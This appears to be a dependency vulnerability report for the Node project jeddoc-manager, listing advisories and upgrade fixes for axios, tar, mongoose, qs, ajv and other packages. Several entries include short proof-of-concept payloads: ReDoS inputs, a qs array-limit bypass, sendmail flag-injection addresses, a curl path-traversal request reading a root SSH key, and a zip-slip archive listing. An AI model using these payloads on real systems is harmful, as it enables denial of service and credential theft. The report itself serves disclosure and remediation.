Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.30.3, 1.13.5 or higher.
References
high severity
- Vulnerable module: axios
- Introduced through: axios@0.16.2
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › axios@0.16.2Remediation: Upgrade to axios@0.31.1.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Uncontrolled Recursion through the toFormData recursive serializer in lib/helpers/toFormData.js. An attacker can crash a process by supplying a deeply nested object as request data or params, causing unbounded recursion and a call-stack overflow during multipart/form-data or query-string serialization.
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
high severity
- Vulnerable module: cross-spawn
- Introduced through: node-sass@4.14.1, nyc@11.9.0 and others
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › cross-spawn@3.0.1Remediation: Upgrade to node-sass@5.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nyc@11.9.0 › yargs@11.1.0 › os-locale@2.1.0 › execa@0.7.0 › cross-spawn@5.1.0Remediation: Upgrade to nyc@13.2.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nodemon@1.19.4 › update-notifier@2.5.0 › boxen@1.3.0 › term-size@1.2.0 › execa@0.7.0 › cross-spawn@5.1.0Remediation: Upgrade to nodemon@2.0.3.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nyc@11.9.0 › foreground-child@1.5.6 › cross-spawn@4.0.2Remediation: Upgrade to nyc@15.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nyc@11.9.0 › spawn-wrap@1.4.3 › foreground-child@1.5.6 › cross-spawn@4.0.2Remediation: Upgrade to nyc@15.0.0.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.
PoC
const { argument } = require('cross-spawn/lib/util/escape');
var str = "";
for (var i = 0; i < 1000000; i++) {
str += "\\";
}
str += "◎";
console.log("start")
argument(str)
console.log("end")
// run `npm install cross-spawn` and `node attack.js`
// then the program will stuck forever with high CPU usage
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade cross-spawn to version 6.0.6, 7.0.5 or higher.
References
high severity
- Vulnerable module: minimatch
- Introduced through: nightwatch@0.9.21 and node-sass@4.14.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › minimatch@3.0.3Remediation: Upgrade to nightwatch@3.16.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › gaze@1.1.3 › globule@1.3.4 › minimatch@3.0.8
Overview
minimatch is a minimal matching utility.
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the matchOne function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.
Remediation
Upgrade minimatch to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.
References
high severity
- Vulnerable module: minimatch
- Introduced through: nightwatch@0.9.21 and node-sass@4.14.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › minimatch@3.0.3Remediation: Upgrade to nightwatch@3.16.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › gaze@1.1.3 › globule@1.3.4 › minimatch@3.0.8
Overview
minimatch is a minimal matching utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the AST class, caused by catastrophic backtracking when an input string contains many * characters in a row, followed by an unmatched character.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade minimatch to version 3.1.3, 4.2.4, 5.1.7, 6.2.1, 7.4.7, 8.0.5, 9.0.6, 10.2.1 or higher.
References
high severity
- Vulnerable module: mongoose
- Introduced through: mongoose@4.13.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › mongoose@4.13.21Remediation: Upgrade to mongoose@6.13.5.
Overview
mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.
Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Data Query Logic due to the improper handling of $where in match queries. An attacker can manipulate search queries to inject malicious code.
Remediation
Upgrade mongoose to version 6.13.5, 7.8.3, 8.8.3 or higher.
References
high severity
- Vulnerable module: mongoose
- Introduced through: mongoose@4.13.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › mongoose@4.13.21Remediation: Upgrade to mongoose@6.13.6.
Overview
mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.
Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Data Query Logic due to the improper use of a $where filter in conjunction with the populate() match. An attacker can manipulate search queries to retrieve or alter information without proper authorization by injecting malicious input into the query.
Note: This vulnerability derives from an incomplete fix of CVE-2024-53900
Remediation
Upgrade mongoose to version 6.13.6, 7.8.4, 8.9.5 or higher.
References
high severity
- Vulnerable module: qs
- Introduced through: jsdom@8.5.0, node-sass@4.14.1 and others
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › jsdom@8.5.0 › request@2.88.2 › qs@6.5.5
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › request@2.88.2 › qs@6.5.5
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › request@2.88.2 › qs@6.5.5
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › node-gyp@3.8.0 › request@2.88.2 › qs@6.5.5
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › coveralls@2.13.3 › request@2.79.0 › qs@6.3.5
Overview
qs is a querystring parser that supports nesting and arrays, with a depth limit.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via improper enforcement of the arrayLimit option in bracket notation parsing. An attacker can exhaust server memory and cause application unavailability by submitting a large number of bracket notation parameters - like a[]=1&a[]=2 - in a single HTTP request.
PoC
const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length); // Output: 10000 (should be max 100)
Remediation
Upgrade qs to version 6.14.1 or higher.
References
high severity
- Vulnerable module: validator
- Introduced through: sequelize@3.35.1 and validator@7.2.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › sequelize@3.35.1 › validator@5.7.0Remediation: Upgrade to sequelize@5.22.5.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › validator@7.2.0Remediation: Upgrade to validator@13.15.22.
Overview
validator is a library of string validators and sanitizers.
Affected versions of this package are vulnerable to Incomplete Filtering of One or More Instances of Special Elements in the isLength() function that does not take into account Unicode variation selectors (\uFE0F, \uFE0E) appearing in a sequence which lead to improper string length calculation. This can lead to an application using isLength for input validation accepting strings significantly longer than intended, resulting in issues like data truncation in databases, buffer overflows in other system components, or denial-of-service.
PoC
Input;
const validator = require('validator');
console.log(`Is "test" (String.length: ${'test'.length}) length less than or equal to 3? ${validator.isLength('test', { max: 3 })}`);
console.log(`Is "test" (String.length: ${'test'.length}) length less than or equal to 4? ${validator.isLength('test', { max: 4 })}`);
console.log(`Is "test\uFE0F\uFE0F\uFE0F\uFE0F" (String.length: ${'test\uFE0F\uFE0F\uFE0F\uFE0F'.length}) length less than or equal to 4? ${validator.isLength('test\uFE0F\uFE0F\uFE0F', { max: 4 })}`);
Output:
Is "test" (String.length: 4) length less than or equal to 3? false
Is "test" (String.length: 4) length less than or equal to 4? true
Is "test️️️️" (String.length: 8) length less than or equal to 4? true
Remediation
Upgrade validator to version 13.15.22 or higher.
References
high severity
- Vulnerable module: whet.extend
- Introduced through: css-loader@0.28.11
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › svgo@0.7.2 › whet.extend@0.9.9
Overview
whet.extend is an A sharped version of port of jQuery.extend that actually works on node.js
Affected versions of this package are vulnerable to Prototype Pollution due to improper user input sanitization when using the extend and _findValue functions.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
There is no fixed version for whet.extend.
References
high severity
- Vulnerable module: ip
- Introduced through: nightwatch@0.9.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › proxy-agent@2.0.0 › pac-proxy-agent@1.1.0 › pac-resolver@2.0.0 › ip@1.0.1Remediation: Upgrade to nightwatch@1.0.4.
Overview
ip is a Node library.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the isPublic function, by failing to identify hex-encoded 0x7f.1 as equivalent to the private addess 127.0.0.1. An attacker can expose sensitive information, interact with internal services, or exploit other vulnerabilities within the network by exploiting this vulnerability.
PoC
var ip = require('ip');
console.log(ip.isPublic("0x7f.1"));
//This returns true. It should be false because 0x7f.1 == 127.0.0.1 == 0177.1
Remediation
Upgrade ip to version 1.1.9, 2.0.1 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: react-tinymce@0.5.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › react-tinymce@0.5.1 › lodash@3.10.1Remediation: Upgrade to react-tinymce@0.6.0.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Arbitrary Code Injection due the improper validation of options.imports key names in _.template. An attacker can execute arbitrary code at template compilation time by injecting malicious expressions. If Object.prototype has been polluted, inherited properties may also be copied into the imports object and executed.
Notes:
Version 4.18.0 was intended to fix this vulnerability but it got deprecated due to introducing a breaking functionality issue.
This issue is due to the incomplete fix for CVE-2021-23337.
Remediation
Upgrade lodash to version 4.18.1 or higher.
References
high severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@4.7.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nodemailer@4.7.0Remediation: Upgrade to nodemailer@6.4.16.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Command Injection. Use of crafted recipient email addresses may result in arbitrary command flag injection in sendmail transport for sending mails.
PoC
-bi@example.com (-bi Initialize the alias database.)
-d0.1a@example.com (The option -d0.1 prints the version of sendmail and the options it was compiled with.)
-Dfilename@example.com (Debug output ffile)
Remediation
Upgrade nodemailer to version 6.4.16 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: bcrypt@1.0.3 and node-sass@4.14.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar@2.2.2Remediation: Upgrade to bcrypt@2.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2Remediation: Upgrade to node-sass@5.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Arbitrary File Write. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.
This logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory, where the symlink and directory names in the archive entry used backslashes as a path separator on posix systems. The cache checking logic used both \ and / characters as path separators. However, \ is a valid filename character on posix systems.
By first creating a directory, and then replacing that directory with a symlink, it is possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location. This can lead to extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite.
Additionally, a similar confusion could arise on case-insensitive filesystems. If a tar archive contained a directory at FOO, followed by a symbolic link named foo, then on case-insensitive file systems, the creation of the symbolic link would remove the directory from the filesystem, but not from the internal directory cache, as it would not be treated as a cache hit. A subsequent file entry within the FOO directory would then be placed in the target of the symbolic link, thinking that the directory had already been created.
Remediation
Upgrade tar to version 6.1.7, 5.0.8, 4.4.16 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: bcrypt@1.0.3 and node-sass@4.14.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar@2.2.2Remediation: Upgrade to bcrypt@2.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2Remediation: Upgrade to node-sass@5.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Arbitrary File Write. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.
This logic is insufficient when extracting tar files that contain two directories and a symlink with names containing unicode values that normalized to the same value. Additionally, on Windows systems, long path portions would resolve to the same file system entities as their 8.3 "short path" counterparts.
A specially crafted tar archive can include directories with two forms of the path that resolve to the same file system entity, followed by a symbolic link with a name in the first form, lastly followed by a file using the second form. This leads to bypassing node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and extracting arbitrary files into that location.
Remediation
Upgrade tar to version 6.1.9, 5.0.10, 4.4.18 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: bcrypt@1.0.3 and node-sass@4.14.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar@2.2.2Remediation: Upgrade to bcrypt@2.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2Remediation: Upgrade to node-sass@5.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Arbitrary File Write. node-tar aims to guarantee that any file whose location would be outside of the extraction target directory is not extracted. This is, in part, accomplished by sanitizing absolute paths of entries within the archive, skipping archive entries that contain .. path portions, and resolving the sanitized paths against the extraction target directory.
This logic is insufficient on Windows systems when extracting tar files that contain a path that is not an absolute path, but specify a drive letter different from the extraction target, such as C:some\path. If the drive letter does not match the extraction target, for example D:\extraction\dir, then the result of path.resolve(extractionDirectory, entryPath) resolves against the current working directory on the C: drive, rather than the extraction target directory.
Additionally, a .. portion of the path can occur immediately after the drive letter, such as C:../foo, and is not properly sanitized by the logic that checks for .. within the normalized and split portions of the path.
Note: This only affects users of node-tar on Windows systems.
Remediation
Upgrade tar to version 6.1.9, 5.0.10, 4.4.18 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: bcrypt@1.0.3 and node-sass@4.14.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar@2.2.2
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Directory Traversal via the extract() function. An attacker can read or write files outside the intended extraction directory by causing the application to extract a malicious archive containing a chain of symlinks leading to a hardlink, which bypasses path validation checks.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.8 or higher.
References
high severity
- Vulnerable module: sequelize
- Introduced through: sequelize@3.35.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › sequelize@3.35.1Remediation: Upgrade to sequelize@6.29.0.
Overview
sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.
Affected versions of this package are vulnerable to Improper Filtering of Special Elements due to attributes not being escaped if they included ( and ), or were equal to * and were split if they included the character ..
Remediation
Upgrade sequelize to version 6.29.0 or higher.
References
high severity
- Vulnerable module: ajv
- Introduced through: webpack@2.7.0, eslint@3.19.0 and others
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › webpack@2.7.0 › ajv@4.11.8Remediation: Upgrade to webpack@3.11.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › eslint@3.19.0 › table@3.8.3 › ajv@4.11.8Remediation: Upgrade to eslint@4.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › extract-text-webpack-plugin@2.1.2 › schema-utils@0.3.0 › ajv@5.5.2
Overview
ajv is an Another JSON Schema Validator
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper validation of the pattern keyword when combined with $data references. An attacker can cause the application to become unresponsive and exhaust CPU resources by submitting a specially crafted regular expression payload.
Note:
This is only exploitable if the $data option is enabled.
PoC
const Ajv = require('ajv');
// Vulnerable configuration — $data enables runtime pattern injection
const ajv = new Ajv({ $data: true });
const schema = {
type: 'object',
properties: {
pattern: { type: 'string' },
value: {
type: 'string',
pattern: { $data: '1/pattern' } // Pattern comes from the data itself
}
}
};
const validate = ajv.compile(schema);
// Malicious payload — both the pattern and the triggering input
const maliciousPayload = {
pattern: '^(a|a)*$', // Catastrophic backtracking pattern
value: 'a'.repeat(30) + 'X' // 30 'a's followed by 'X' to force full backtracking
};
console.time('attack');
validate(maliciousPayload); // Blocks the entire Node.js process for ~44 seconds
console.timeEnd('attack');
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ajv to version 6.14.0, 8.18.0 or higher.
References
